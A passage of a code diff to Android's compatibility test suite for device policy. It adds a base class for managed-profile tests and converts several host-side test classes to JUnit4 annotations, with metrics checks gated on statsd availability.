+        if (matcher.find()) {
+            return Integer.parseInt(matcher.group(1));
         }
-        fail("Couldn't find user " + userId);
+        fail("Couldn't find serial number for user " + userId);
         return -1;
     }
 
@@ -694,9 +601,9 @@
         // If we succeeded always log, if we are expecting failure don't log failures
         // as call stacks for passing tests confuse the logs.
         if (success || !expectFailure) {
-            CLog.d("Output for command " + command + ": " + commandOutput);
+            CLog.e("Output for command " + command + ": " + commandOutput);
         } else {
-            CLog.d("Command Failed " + command);
+            CLog.e("Command Failed " + command);
         }
         return success;
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
index 53db413..31f14cc 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseLauncherAppsTest.java
@@ -22,7 +22,7 @@
 /**
  * Common code for the various LauncherApps tests.
  */
-public class BaseLauncherAppsTest extends BaseDevicePolicyTest {
+public abstract class BaseLauncherAppsTest extends BaseDevicePolicyTest {
 
     protected static final String SIMPLE_APP_PKG = "com.android.cts.launcherapps.simpleapp";
     protected static final String SIMPLE_APP_APK = "CtsSimpleApp.apk";
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
new file mode 100644
index 0000000..02c37a4
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.devicepolicy;
+
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+
+public abstract class BaseManagedProfileTest extends BaseDevicePolicyTest {
+    protected static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
+    protected static final String INTENT_SENDER_PKG = "com.android.cts.intent.sender";
+    protected static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
+    protected static final String ADMIN_RECEIVER_TEST_CLASS =
+            MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
+    protected static final String INTENT_SENDER_APK = "CtsIntentSenderApp.apk";
+    protected static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
+    protected static final String SIMPLE_APP_APK = "CtsSimpleApp.apk";
+    private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
+    private static final String NOTIFICATION_PKG =
+            "com.android.cts.managedprofiletests.notificationsender";
+    //The maximum time to wait for user to be unlocked.
+    private static final long USER_UNLOCK_TIMEOUT_NANO = 30_000_000_000L;
+    private static final String USER_STATE_UNLOCKED = "RUNNING_UNLOCKED";
+    protected int mParentUserId;
+    // ID of the profile we'll create. This will always be a profile of the parent.
+    protected int mProfileUserId;
+    protected boolean mHasNfcFeature;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        // We need multi user to be supported in order to create a profile of the user owner.
+        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
+        mHasNfcFeature = hasDeviceFeature("android.hardware.nfc")
+                && hasDeviceFeature("android.sofware.nfc.beam");
+
+        if (mHasFeature) {
+            removeTestUsers();
+            mParentUserId = mPrimaryUserId;
+            mProfileUserId = createManagedProfile(mParentUserId);
+            startUser(mProfileUserId);
+
+            // Install the APK on both primary and profile user in one single transaction.
+            // If they were installed separately, the second installation would become an app
+            // update and result in the current running test process being killed.
+            installAppAsUser(MANAGED_PROFILE_APK, USER_ALL);
+            setProfileOwnerOrFail(MANAGED_PROFILE_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
+                    mProfileUserId);
+            waitForUserUnlock();
+        }
+    }
+
+    private void waitForUserUnlock() throws Exception {
+        final String command = String.format("am get-started-user-state %d", mProfileUserId);
+        final long deadline = System.nanoTime() + USER_UNLOCK_TIMEOUT_NANO;
+        while (System.nanoTime() <= deadline) {
+            if (getDevice().executeShellCommand(command).startsWith(USER_STATE_UNLOCKED)) {
+                return;
+            }
+            Thread.sleep(100);
+        }
+        fail("Profile user is not unlocked.");
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (mHasFeature) {
+            removeUser(mProfileUserId);
+            getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
+            getDevice().uninstallPackage(INTENT_SENDER_PKG);
+            getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
+            getDevice().uninstallPackage(NOTIFICATION_PKG);
+        }
+        super.tearDown();
+    }
+
+    protected void disableActivityForUser(String activityName, int userId)
+            throws DeviceNotAvailableException {
+        String command = "am start -W --user " + userId
+                + " --es extra-package " + MANAGED_PROFILE_PKG
+                + " --es extra-class-name " + MANAGED_PROFILE_PKG + "." + activityName
+                + " " + MANAGED_PROFILE_PKG + "/.ComponentDisablingActivity ";
+        LogUtil.CLog.d("Output for command " + command + ": "
+                + getDevice().executeShellCommand(command));
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
index b59222e..f20db27 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -1,7 +1,10 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
 import android.stats.devicepolicy.EventId;
 
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
@@ -10,8 +13,11 @@
 import java.io.FileNotFoundException;
 import java.util.Collections;
 import java.util.Map;
+
 import javax.annotation.Nullable;
 
+import org.junit.Test;
+
 /**
  * In the test, managed profile and secondary user are created. We then verify
  * {@link android.content.pm.crossprofile.CrossProfileApps} APIs in different directions, like
@@ -32,7 +38,7 @@
     private boolean mCanTestMultiUser;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         // We need managed users to be supported in order to create a profile of the user owner.
         mHasManagedUserFeature = hasDeviceFeature("android.software.managed_users");
@@ -57,10 +63,16 @@
         installAppAsUser(SIMPLE_APP_APK, userId);
     }
 
+    @FlakyTest
+    @LargeTest
+    @Test
     public void testPrimaryUserToPrimaryUser() throws Exception {
         verifyCrossProfileAppsApi(mPrimaryUserId, mPrimaryUserId, NON_TARGET_USER_TEST_CLASS);
     }
 
+    @FlakyTest
+    @LargeTest
+    @Test
     public void testPrimaryUserToManagedProfile() throws Exception {
         if (!mHasManagedUserFeature) {
             return;
@@ -68,6 +80,8 @@
         verifyCrossProfileAppsApi(mPrimaryUserId, mProfileId, TARGET_USER_TEST_CLASS);
     }
 
+    @LargeTest
+    @Test
     public void testManagedProfileToPrimaryUser() throws Exception {
         if (!mHasManagedUserFeature) {
             return;
@@ -75,6 +89,8 @@
         verifyCrossProfileAppsApi(mProfileId, mPrimaryUserId, TARGET_USER_TEST_CLASS);
     }
 
+    @LargeTest
+    @Test
     public void testStartActivity() throws Exception {
         if (!mHasManagedUserFeature) {
             return;
@@ -82,6 +98,8 @@
         verifyCrossProfileAppsApi(mProfileId, mPrimaryUserId, START_ACTIVITY_TEST_CLASS);
     }
 
+    @LargeTest
+    @Test
     public void testPrimaryUserToSecondaryUser() throws Exception {
         if (!mCanTestMultiUser) {
             return;
@@ -89,6 +107,8 @@
         verifyCrossProfileAppsApi(mPrimaryUserId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
     }
 
+    @LargeTest
+    @Test
     public void testSecondaryUserToManagedProfile() throws Exception {
         if (!mCanTestMultiUser || !mHasManagedUserFeature) {
             return;
@@ -97,6 +117,8 @@
 
     }
 
+    @LargeTest
+    @Test
     public void testManagedProfileToSecondaryUser() throws Exception {
         if (!mCanTestMultiUser || !mHasManagedUserFeature) {
             return;
@@ -104,8 +126,10 @@
         verifyCrossProfileAppsApi(mProfileId, mSecondaryUserId, NON_TARGET_USER_TEST_CLASS);
     }
 
+    @LargeTest
+    @Test
     public void testStartMainActivity_logged() throws Exception {
-        if (!mHasManagedUserFeature) {
+        if (!mHasManagedUserFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(
@@ -123,8 +147,10 @@
                         .build());
     }
 
+    @LargeTest
+    @Test
     public void testGetTargetUserProfiles_logged() throws Exception {
-        if (!mHasManagedUserFeature) {
+        if (!mHasManagedUserFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
index eca6953..184cc9b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
@@ -16,11 +16,12 @@
 
 package com.android.cts.devicepolicy;
 
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.cts.devicepolicy.BaseDevicePolicyTest.Settings;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
-import java.io.File;
-import java.lang.Exception;
+import android.platform.test.annotations.FlakyTest;
+
+import org.junit.Test;
 
 /**
  * This class is used for tests that need to do something special before setting the device
@@ -53,6 +54,7 @@
         super.tearDown();
     }
 
+    @Test
     public void testOwnerChangedBroadcast() throws Exception {
         if (!mHasFeature) {
             return;
@@ -84,6 +86,7 @@
         }
     }
 
+    @Test
     public void testCannotSetDeviceOwnerWhenSecondaryUserPresent() throws Exception {
         if (!mHasFeature || getMaxNumberOfUsersSupported() < 2) {
             return;
@@ -101,6 +104,8 @@
         }
     }
 
+    @FlakyTest
+    @Test
     public void testCannotSetDeviceOwnerWhenAccountPresent() throws Exception {
         if (!mHasFeature) {
             return;
@@ -120,6 +125,7 @@
         }
     }
 
+    @Test
     public void testIsProvisioningAllowed() throws Exception {
         // Must install the apk since the test runs in the DO apk.
         installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
index 51420ea..40b3dd0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
@@ -17,19 +17,22 @@
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 
+import org.junit.Test;
+
 public class CustomManagedProfileTest extends BaseDevicePolicyTest {
 
     private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
     private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
 
         // We need multi user to be supported in order to create a profile of the user owner.
         mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
     }
 
+    @Test
     public void testIsProvisioningAllowed() throws Exception {
         final int primaryUserId = getPrimaryUser();
         // Must install the apk since the test runs in the ManagedProfile apk.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
index 3a74953..7ab8265 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
@@ -15,6 +15,10 @@
  */
 package com.android.cts.devicepolicy;
 
+import android.platform.test.annotations.FlakyTest;
+
+import org.junit.Test;
+
 /**
  * BaseDeviceAdminHostSideTest for device admin targeting API level 23.
  */
@@ -27,6 +31,8 @@
     /**
      * Device admin with no BIND_DEVICE_ADMIN can still be activated, if the target SDK <= 23.
      */
+    @FlakyTest
+    @Test
     public void testAdminWithNoProtection() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java
index 4682ef6..fccc586 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java
@@ -15,6 +15,8 @@
  */
 package com.android.cts.devicepolicy;
 
+import org.junit.Test;
+
 /**
  * BaseDeviceAdminHostSideTest for device admin targeting API level 24.
  */
@@ -27,6 +29,7 @@
     /**
      * Device admin must be protected with BIND_DEVICE_ADMIN, if the target SDK >= 24.
      */
+    @Test
     public void testAdminWithNoProtection() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
index 0d37457..f3430c3 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
@@ -15,6 +15,8 @@
  */
 package com.android.cts.devicepolicy;
 
+import org.junit.Test;
+
 /**
  * BaseDeviceAdminHostSideTest for device admin targeting API level 29.
  */
@@ -28,6 +30,7 @@
      * Test that we get expected SecurityExceptions for policies that were disallowed in version 29.
      */
     @Override
+    @Test
     public void testRunDeviceAdminTest() throws Exception {
         if (!mHasFeature) {
             return;
@@ -39,6 +42,7 @@
      * This test is no longer relevant once DA is disallowed from using password policies.
      */
     @Override
+    @Test
     public void testResetPassword_nycRestrictions() throws Exception {
         return;
     }
@@ -48,6 +52,7 @@
      * Device Owner functionality is now tested in DeviceAndProfileOwnerTest.
      */
     @Override
+    @Test
     public void testRunDeviceOwnerPasswordTest() throws Exception {
         return;
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
index a773737..3b678dd 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
@@ -15,6 +15,10 @@
  */
 package com.android.cts.devicepolicy;
 
+import android.platform.test.annotations.LargeTest;
+
+import org.junit.Test;
+
 public class DeviceAdminServiceProfileOwnerTest extends BaseDeviceAdminServiceTest {
 
     private int mUserId;
@@ -25,7 +29,7 @@
     }
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         super.setUp();
         if (isTestEnabled()) {
             mUserId = createUser();
@@ -33,7 +37,7 @@
     }
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         super.tearDown();
     }
 
@@ -46,4 +50,11 @@
     protected void setAsOwnerOrFail(String component) throws Exception {
         setProfileOwnerOrFail(component, getUserId());
     }
+
+    @Override
+    @LargeTest
+    @Test
+    public void testAll() throws Throwable {
+        super.testAll();
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
index 9cdcf1a..99349ae 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
@@ -2,10 +2,14 @@
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
 
+import static org.junit.Assert.fail;
+
+import android.stats.devicepolicy.EventId;
+
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
-import android.stats.devicepolicy.EventId;
+import org.junit.Test;
 
 public abstract class DeviceAndProfileOwnerHostSideTransferTest extends BaseDevicePolicyTest {
 
@@ -29,6 +33,7 @@
     protected String mOutgoingTestClassName;
     protected String mIncomingTestClassName;
 
+    @Test
     public void testTransferOwnership() throws Exception {
         if (!mHasFeature) {
             return;
@@ -45,6 +50,7 @@
                 .build());
     }
 
+    @Test
     public void testTransferSameAdmin() throws Exception {
         if (!mHasFeature) {
             return;
@@ -54,6 +60,7 @@
                 "testTransferSameAdmin", mUserId);
     }
 
+    @Test
     public void testTransferInvalidTarget() throws Exception {
         if (!mHasFeature) {
             return;
@@ -64,6 +71,7 @@
                 "testTransferInvalidTarget", mUserId);
     }
 
+    @Test
     public void testTransferPolicies() throws Exception {
         if (!mHasFeature) {
             return;
@@ -76,6 +84,7 @@
                 "testTransferPoliciesAreRetainedAfterTransfer", mUserId);
     }
 
+    @Test
     public void testTransferOwnershipChangedBroadcast() throws Exception {
         if (!mHasFeature) {
             return;
@@ -85,6 +94,7 @@
                 "testTransferOwnershipChangedBroadcast", mUserId);
     }
 
+    @Test
     public void testTransferCompleteCallback() throws Exception {
         if (!mHasFeature) {
             return;
@@ -107,6 +117,7 @@
         mIncomingTestClassName = incomingTestClassName;
     }
 
+    @Test
     public void testTransferOwnershipNoMetadata() throws Exception {
         if (!mHasFeature) {
             return;
@@ -116,6 +127,7 @@
                 "testTransferOwnershipNoMetadata", mUserId);
     }
 
+    @Test
     public void testIsTransferBundlePersisted() throws DeviceNotAvailableException {
         if (!mHasFeature) {
             return;
@@ -128,6 +140,7 @@
                 "testTransferOwnershipBundleLoaded", mUserId);
     }
 
+    @Test
     public void testGetTransferOwnershipBundleOnlyCalledFromAdmin()
             throws DeviceNotAvailableException {
         if (!mHasFeature) {
@@ -138,6 +151,7 @@
                 "testGetTransferOwnershipBundleOnlyCalledFromAdmin", mUserId);
     }
 
+    @Test
     public void testBundleEmptyAfterTransferWithNullBundle() throws DeviceNotAvailableException {
         if (!mHasFeature) {
             return;
@@ -150,6 +164,7 @@
                 "testTransferOwnershipEmptyBundleLoaded", mUserId);
     }
 
+    @Test
     public void testIsBundleNullNoTransfer() throws DeviceNotAvailableException {
         if (!mHasFeature) {
             return;
@@ -208,6 +223,7 @@
                 mPrimaryUserId);
     }
 
+    @Test
     public void testTargetDeviceAdminServiceBound() throws Exception {
         if (!mHasFeature) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index ceafda1..e65627e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -17,10 +17,18 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
 import android.platform.test.annotations.RequiresDevice;
 import android.stats.devicepolicy.EventId;
 
+import com.android.cts.devicepolicy.annotations.LockSettingsTest;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier;
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -28,6 +36,8 @@
 
 import com.google.common.collect.ImmutableMap;
 
+import org.junit.Test;
+
 import java.io.File;
 import java.io.FileNotFoundException;
 import java.util.ArrayList;
@@ -152,7 +162,7 @@
         "cmd netpolicy set restrict-background false";
 
     // The following constants were copied from DevicePolicyManager
-    private static final int PASSWORD_QUALITY_SOMETHING = 0x10000;
+    private static final int PASSWORD_QUALITY_COMPLEX = 0x60000;
     private static final int KEYGUARD_DISABLE_FEATURES_NONE = 0;
     private static final int KEYGUARD_DISABLE_FINGERPRINT = 1 << 5;
     private static final int KEYGUARD_DISABLE_TRUST_AGENTS = 1 << 4;
@@ -175,7 +185,7 @@
     protected int mUserId;
 
     @Override
-    protected void tearDown() throws Exception {
+    public void tearDown() throws Exception {
         if (mHasFeature) {
             getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
             getDevice().uninstallPackage(PERMISSIONS_APP_PKG);
@@ -204,6 +214,7 @@
         super.tearDown();
     }
 
+    @Test
     public void testCaCertManagement() throws Exception {
         if (!mHasFeature) {
             return;
@@ -211,8 +222,9 @@
         executeDeviceTestClass(".CaCertManagementTest");
     }
 
+    @Test
     public void testInstallCaCertLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         assertMetricsLogged(getDevice(), () -> {
@@ -227,6 +239,7 @@
                     .build());
     }
 
+    @Test
     public void testApplicationRestrictionIsRestricted() throws Exception {
         if (!mHasFeature) {
             return;
@@ -240,6 +253,7 @@
             "testAssertCallerIsApplicationRestrictionsManagingPackage", mUserId);
     }
 
+    @Test
     public void testApplicationRestrictions() throws Exception {
         if (!mHasFeature) {
             return;
@@ -278,13 +292,15 @@
             // The DPC should still be able to manage app restrictions normally.
             executeDeviceTestClass(".ApplicationRestrictionsTest");
 
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".ApplicationRestrictionsTest",
-                        "testSetApplicationRestrictions");
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings(APP_RESTRICTIONS_TARGET_APP_PKG)
-                    .build());
+            if (isStatsdEnabled(getDevice())) {
+                assertMetricsLogged(getDevice(), () -> {
+                    executeDeviceTestMethod(".ApplicationRestrictionsTest",
+                            "testSetApplicationRestrictions");
+                }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
+                        .setAdminPackageName(DEVICE_ADMIN_PKG)
+                        .setStrings(APP_RESTRICTIONS_TARGET_APP_PKG)
+                        .build());
+            }
         } finally {
             changeApplicationRestrictionsManagingPackage(null);
         }
@@ -359,6 +375,7 @@
      *    Add the delegation scope to {@code DelegationTest#testExclusiveDelegations} to test that
      *    the scope can only be delegatd to one app at a time.
      */
+    @Test
     public void testDelegation() throws Exception {
         if (!mHasFeature) {
             return;
@@ -394,6 +411,7 @@
         }
     }
 
+    @Test
     public void testDelegationCertSelection() throws Exception {
         if (!mHasFeature) {
             return;
@@ -411,6 +429,7 @@
                 .build());
     }
 
+    @Test
     public void testPermissionGrant() throws Exception {
         if (!mHasFeature) {
             return;
@@ -419,6 +438,7 @@
         executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState");
     }
 
+    @Test
     public void testPermissionGrant_developmentPermission() throws Exception {
         if (!mHasFeature) {
             return;
@@ -437,6 +457,7 @@
      * network rules for this user will affect UID 0.
      */
     @RequiresDevice
+    @Test
     public void testAlwaysOnVpn() throws Exception {
         if (!mHasFeature) {
             return;
@@ -446,6 +467,7 @@
     }
 
     @RequiresDevice
+    @Test
     public void testAlwaysOnVpnLockDown() throws Exception {
         if (!mHasFeature) {
             return;
@@ -462,6 +484,7 @@
     }
 
     @RequiresDevice
+    @Test
     public void testAlwaysOnVpnAcrossReboot() throws Exception {
         if (!mHasFeature) {
             return;
@@ -480,6 +503,7 @@
     }
 
     @RequiresDevice
+    @Test
     public void testAlwaysOnVpnPackageUninstalled() throws Exception {
         if (!mHasFeature) {
             return;
@@ -497,6 +521,7 @@
     }
 
     @RequiresDevice
+    @Test
     public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
         if (!mHasFeature) {
             return;
@@ -521,6 +546,7 @@
     }
 
     @RequiresDevice
+    @Test
     public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
         if (!mHasFeature) {
             return;
@@ -540,8 +566,9 @@
     }
 
     @RequiresDevice
+    @Test
     public void testAlwaysOnVpnPackageLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
             return;
         }
         // Will be uninstalled in tearDown().
@@ -556,6 +583,7 @@
                     .build());
     }
 
+    @Test
     public void testPermissionPolicy() throws Exception {
         if (!mHasFeature) {
             return;
@@ -564,6 +592,16 @@
         executeDeviceTestMethod(".PermissionsTest", "testPermissionPolicy");
     }
 
+    @Test
+    public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        installAppPermissionAppAsUser();
+        executeDeviceTestMethod(".PermissionsTest", "testAutoGrantMultiplePermissionsInGroup");
+    }
+
+    @Test
     public void testPermissionMixedPolicies() throws Exception {
         if (!mHasFeature) {
             return;
@@ -572,6 +610,7 @@
         executeDeviceTestMethod(".PermissionsTest", "testPermissionMixedPolicies");
     }
 
+    @Test
     public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
             throws Exception {
         if (!mHasFeature) {
@@ -583,6 +622,7 @@
     }
 
     // Test flakey; suppressed.
+//    @Test
 //    public void testPermissionPrompts() throws Exception {
 //        if (!mHasFeature) {
 //            return;
@@ -591,6 +631,7 @@
 //        executeDeviceTestMethod(".PermissionsTest", "testPermissionPrompts");
 //    }
 
+    @Test
     public void testPermissionAppUpdate() throws Exception {
         if (!mHasFeature) {
             return;
@@ -623,6 +664,7 @@
         executeDeviceTestMethod(".PermissionsTest", "testPermissionUpdate_checkGranted");
     }
 
+    @Test
     public void testPermissionGrantPreMApp() throws Exception {
         if (!mHasFeature) {
             return;
@@ -631,21 +673,25 @@
         executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantStatePreMApp");
     }
 
+    @Test
     public void testPersistentIntentResolving() throws Exception {
         if (!mHasFeature) {
             return;
         }
         executeDeviceTestClass(".PersistentIntentResolvingTest");
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".PersistentIntentResolvingTest",
-                    "testAddPersistentPreferredActivityYieldsReceptionAtTarget");
-        }, new DevicePolicyEventWrapper.Builder(EventId.ADD_PERSISTENT_PREFERRED_ACTIVITY_VALUE)
+        if (isStatsdEnabled(getDevice())) {
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".PersistentIntentResolvingTest",
+                        "testAddPersistentPreferredActivityYieldsReceptionAtTarget");
+            }, new DevicePolicyEventWrapper.Builder(EventId.ADD_PERSISTENT_PREFERRED_ACTIVITY_VALUE)
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .setStrings(DEVICE_ADMIN_PKG,
                             "com.android.cts.deviceandprofileowner.EXAMPLE_ACTION")
                     .build());
+        }
     }
 
+    @Test
     public void testScreenCaptureDisabled() throws Exception {
         if (!mHasFeature) {
             return;
@@ -668,6 +714,7 @@
                     .build());
     }
 
+    @Test
     public void testScreenCaptureDisabled_assist() throws Exception {
         if (!mHasFeature) {
             return;
@@ -683,35 +730,41 @@
         }
     }
 
+    @Test
     public void testSupportMessage() throws Exception {
         if (!mHasFeature) {
             return;
         }
         executeDeviceTestClass(".SupportMessageTest");
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(
-                    ".SupportMessageTest", "testShortSupportMessageSetGetAndClear");
-        }, new DevicePolicyEventWrapper.Builder(EventId.SET_SHORT_SUPPORT_MESSAGE_VALUE)
+        if (isStatsdEnabled(getDevice())) {
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(
+                        ".SupportMessageTest", "testShortSupportMessageSetGetAndClear");
+            }, new DevicePolicyEventWrapper.Builder(EventId.SET_SHORT_SUPPORT_MESSAGE_VALUE)
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .build());
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".SupportMessageTest", "testLongSupportMessageSetGetAndClear");
-        }, new DevicePolicyEventWrapper.Builder(EventId.SET_LONG_SUPPORT_MESSAGE_VALUE)
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".SupportMessageTest",
+                        "testLongSupportMessageSetGetAndClear");
+            }, new DevicePolicyEventWrapper.Builder(EventId.SET_LONG_SUPPORT_MESSAGE_VALUE)
